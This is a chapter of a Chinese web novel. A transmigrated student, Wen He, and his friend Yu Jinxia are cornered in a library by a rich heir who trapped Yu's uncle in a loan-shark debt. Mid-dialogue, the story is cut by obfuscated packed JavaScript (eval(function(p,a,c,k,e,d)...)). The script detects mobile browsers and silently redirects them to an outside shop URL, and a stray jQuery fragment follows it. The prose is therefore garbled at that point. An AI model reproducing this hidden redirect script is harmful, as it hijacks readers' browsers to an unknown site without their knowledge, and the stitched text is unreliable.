“温禾,你收到消息了吗?”
虞今夏借温禾的手看他手机,果然,他们都被炒了。
但跟在一起的有个打款信息。
粗略换算,差不多是温禾这阵子的工资,虞今夏也有。
最下面还专门要求不准再提起会所的事情,就当没有来过——这点人之常情,可以理解。
虞今夏没提,老板还多给他解释了几句:
有人在查你到底是谁,抱歉,我只能这样撇清关系,对我们都好。
老板已经仁义至尽。
他沉重地松了口气:“太好了,有多的工资我还能撑段时间……”
此时已经是第二天。
从宿舍睁开眼睛,虞今夏仍然觉得昨晚发生的事情像梦一般。
主要最后吃猪脚饭那里——当时的自己,怎么比平时还要洒脱?
按照以往,得回去拧巴焦虑一晚上。
但该说不说,吃四点金是真的很快乐。
他不算完全过苦行僧生活的那种人,也会定期安排放纵日,就是这个放纵日的间隔稍微有点点点点长。
油水令人幸福,美味使人失智,愿意花钱请客是真的,惊讶自己怎么能这么发展也是真的,虞今夏眼神闪烁,迟来的清醒让他拧巴不好,不拧巴又觉得少了个流程,不上不下。
太怪了。
难道说温禾就有使人快乐的能力?
趁虞今夏发愣,温禾收回手机:“我出去打个电话呀。”
溜之大吉,到宿舍楼外一个安静的地方,才拿出手机。
好巧不巧,就在会所老板打款的刚才,苏凉要求温禾给他打电话,幸好虞今夏没发现。
苏凉嫌弃他打字慢,说话速率都不在一个频道。
[你有些忐忑,又有些幸灾乐祸。]
[不知道苏凉和方子涵会不会有意外的火花。]
这背景小字坏的,温禾都习惯了。
有时候看久了吧,还以为是自己邪恶人格跑出来了呢。
电话一拨通对面秒接。
苏凉阴险的声音传来:“居然还真的敢打来给我?”
温禾哎呀一声:“情报一开始就错了,没有办法,总归是和方少有关系,小方少也是方少哦。”
“……”好久没跟温禾即时聊天,一股熟悉的无语滋味涌上心头,苏凉呵呵,“一个私生子,也配和天意比!”
.
想起昨晚苏凉就晦气。
作为常驻邀请名单里的苏家少爷,他当然也收到品酒会的邀请。
本以为一箭双雕,谁知最后连雕毛都不如。
赶去房间时,方子涵正有些悠悠转醒的意思,那猪头样看得苏凉来气,当面又是一脚,方子涵两眼一闭倒得安详。
不过,虽说他是支持方天意的那一派,但方家那个挤掉原配的外室也很不得了,很能吹枕边风。
为了给今后自己与天意的婚事铺路,也需要适当装模作样一下。
苏凉忍辱负重,把方子涵送去医务室。
结果正好发现在里面昏迷不醒、受伤的方天意!
——真是上天注定的缘分!
他联系方家,一口气救了他们两个儿子。
看在与天意命中注定的相遇的份上,苏凉这才没把温禾怎么样。
“但你投机取巧,还差点让我出洋相,”苏凉道,“怎么着也得吃点苦头吧。”
[呸,虚伪小人,你的笑容消失了。]
既然背景小字骂了,那温禾就不说了。
然后就听见苏凉狠狠地——
“我要把你手机套餐,从□□降到每月定额。”
“别忘了我可是能查到你用手机在干什么的,一天天事情不做,把我的话当耳边风,全拿去上网看小鸡了是吧!”
温禾:“!”
糟糕,这也能被发现?!
他只是对这个时代的小鸡很好奇嘛,谁知道一发不可收拾,还关注了几个农场养鸡场的直播号。
苏凉的话犹如魔鬼低语:“我要让你再也没办法肆无忌惮地看小鸡呵呵呵呵……”
俗话说抓蛇打七窍,苏凉这步走对了。
挂了电话,温禾魂不守舍。
还被自己的精神体啄得可疼——
小鸡:“叽叽叽叽叽!”
趁我不在就吃代餐!老实说你心里是不是有别的鸡了?!
.
见温禾回宿舍,虞今夏吓了一跳。
出去时人还好好的,怎么回来就霜打了似的?
他关心道:“怎么了?发生什么事了?”
温禾软趴趴倒在他身上:“呜呜……鸡……小鸡……”
恰巧,到了饭点。
虞今夏把温禾领到食堂:“别着急,这里鸡最多了。”
还捧着精神体小鸡说:“你看,这里就是你诞生的地方啊。”
他到现在还以为这是温禾从食堂买的蛋孵出来的。
一抬头,食堂招牌琳琅满目的:紫燕百味鸡、黄焖鸡米饭、辣子鸡盖浇饭、绝味鸡公煲……
温禾与小鸡:也、也行?
对不起同胞,但它们实在是太香了。
……
品酒会事发后第一天,虞今夏没睡着,温禾睡得喷香。
第二天虞今夏熬到很晚,但总规睡眠质量不错,温禾照常。
第三天已经没什么感觉了,仿佛品酒会的事情已经离他们很远很远。
或许在那样环境呆久了,人的确是会在不知不觉中被影响,这几天专心上课做大学生,虞今夏觉得心情都清新不少。
转眼又到了定时给家里弟弟妹妹汇钱的日子,虞今夏把上月兼职工资全部都打了过去,然后跟温禾去图书馆自习做作业。
温禾现在进步非常大。
读些简单的书,已经能够半懂。
但依然在生活中有许多不便,也就是他们专业是语言学,恰巧能挨上边儿。
好几次被老师拎起来答问,都托了上面有注音的福——对温禾来说完全是巩固知识了。
老师夸他挺好,虽然半道转学,但也能勤奋预习跟上进度,温禾心想谬赞谬赞,那纯复习来的。
虞今夏最近在学校里找了一些活儿,比如代写小论文什么的。
做完作业温禾等他,自己拿了本有注音的童话书看。
看他津津有味,系统冷不丁道:【想不到你还挺有童心。】
温禾:“死前我也才成年呀。”
系统倒忘了这茬。
主要温禾太有迷惑性了,他的角色设定是大三生二十岁出头,可他的出招路数又让人看不出深浅。
温禾:“系统系统,我的补丁包什么时候发下来?”
系统正要说快了,旁边虞今夏戳戳他:“温禾,我去边上接个电话。”
“好……”
慢半拍回应,像是感应到什么,温禾抬起头。
咻……
不知道什么时候起,图书馆安静到甚至能听见中央空调压缩机运作的声音。
四周的同学也都不见了。
如死一般沉寂中,多了几分威胁的不妙,他的警报雷达嗡嗡作响,保持着一页书将翻未翻的动作,冷眼见面熟的几个人从书架后出来。
又带着好多打手似的角色。
如同一翻开书,一下发散跑开的书虱群。
虞今夏从一开始就被堵住去路。
他在这群人逼近下不得不向后退。
半举在空中的手机传出孩童稚嫩焦急的声音:“哥哥,不要给舅舅打钱了!他全花光了!”
据说虞今夏父母去世早,大学后一对弟妹就交给舅舅夫妇照顾,所以钱也是打给大人的。
即便没开免提,因为周围太过安静,大家也全部听见了。
温禾视线冷飕飕地移动到为首之人。
方子涵。
“要捉住你的把柄可不容易啊,”方子涵甩着裤腿过来,能看见脸上没好完的伤口,“知道我投了多少钱才让你舅舅借高利贷吗?”
虞今夏猝不及防:“你——”
方子涵一摊手:“你说巧不巧,放贷的人怎么刚好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17582474|205080||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是我呢?”
“刚才打钱过去了吧?现在已经转回我这咯,白费功夫啊。”
虞今夏挂掉电话,干涩道:“他借了多少钱?”
方子涵说了个数字,对于有钱人来说洒洒水,对于普通人却是一辈子也补不起来的巨大窟窿。
“所以说啊,早点跟我不就好……”
看见虞今夏铁青的脸色,方子涵满意地伸手去抚弄虞今夏的下巴——
砰!
一本童话书砸在他手上,方子涵吃痛得嚎叫。
“回来。”
温禾站起来,对眼神惶惶的虞今夏说。
“到我这里来。”
.
那一刹那,不知道怎么回事,温禾全身上下散发着及其有安全感的光芒。
虞今夏原本僵硬的肌肉活动起来,迅速跑到他的身边。
“对不起,又把你牵扯进来……”
虞今夏疲惫道。
温禾拍拍他的肩:“没事,大概是命运吧,有我在还可以帮你呢!”
毕竟自己的定位是绕着主角转圈的恶毒配角。
再不济,有他在也能防止虞今夏被打什么的。
这话在虞今夏耳朵里就不同了,顿时闪烁着人性伟大的光辉。
当即眼眶一热——
“哎哎,在这演什么兄弟情深呢?”
方子涵的狗腿打断道。
狗腿们有几位很是眼熟。
之前上寝室找茬的几位omega们列为其中,虞今夏与他们有一面之缘,那温禾就更熟了,两面之缘!毕竟多揍了他们一顿。
眼下方子涵在嚎啕猪叫,几个狗腿在他身边嘘寒问暖,几个狗腿负责在前排嘲讽输出。
先是对虞今夏的不自量力表达否定,再纡尊降贵施舍个办法。
“这钱还不上我们也理解,谁叫你摊上个贪心无度的亲戚。”
“有时候必须得承认,命里不该有的钱就不该奢想,知道吗?”
从他们话中,也拼出个事件经过。
先用杀猪盘勾引他舅舅创业,再坐空,导致人在崩溃下签了高利贷。
从虞今夏第一次拒绝他开始,方子涵就开始暗中作孽了。
白纸黑字,红色手印,借贷合同一清二楚,虞今夏逃不了了。
虞今夏咬牙:“大不了我还钱!就算还得久一点——”
方子涵缓过痛,总算记得自己的打算:“谁说要你还钱了,宝贝儿。”
omega们顿时仇视瞪向虞今夏,好哇,居然敢让方少叫你宝贝儿!
“只要你答应我的条件,债务一笔勾销也不是不行……”
虞今夏:“条件?是胁迫吧?”
“你情我愿的事怎么能叫胁迫?”方子涵一挥手,打手更加逼近,“而且很简单,做我的情|人罢了——哦对,你旁边那个,要是愿意来也不错,上次你在会所的事我就当情趣了。”
温禾:“哈?”
还能有他的事?
实力不详,胃口挺大。
“看来你哥还没把你揍明白嘛。”温禾说。
“我哥?方天意?笑话!”
方子涵仰天大笑:“他也不过仗着长子身份跟我狂,这次还不是被修理得像条狗!”
温禾忘了,在必要时刻,虞今夏就是刺刺海胆。
自己遇上了那忍忍,朋友受牵连?那不行。
也许那一瞬间他是有动摇的。
但方子涵千不该万不该提及温禾。
虞今夏把温禾保护在身后,下定决心:“你死心吧,绝无可能!”
一秒开团!
方子涵哈哈大笑:“现在不是你说的算了!我告诉你,就算天王老子来了——”
轰隆!
外面突生异响,截断方子涵的发挥。
只听一道比他更嚣张的声音:
“天王老子没来,那老子来了呢?也不算数?”
一脚踹翻最近的凳子,方天意闪亮登场。
以及,从一进来开始,眼睛就黏在温禾身上的司柏蘅。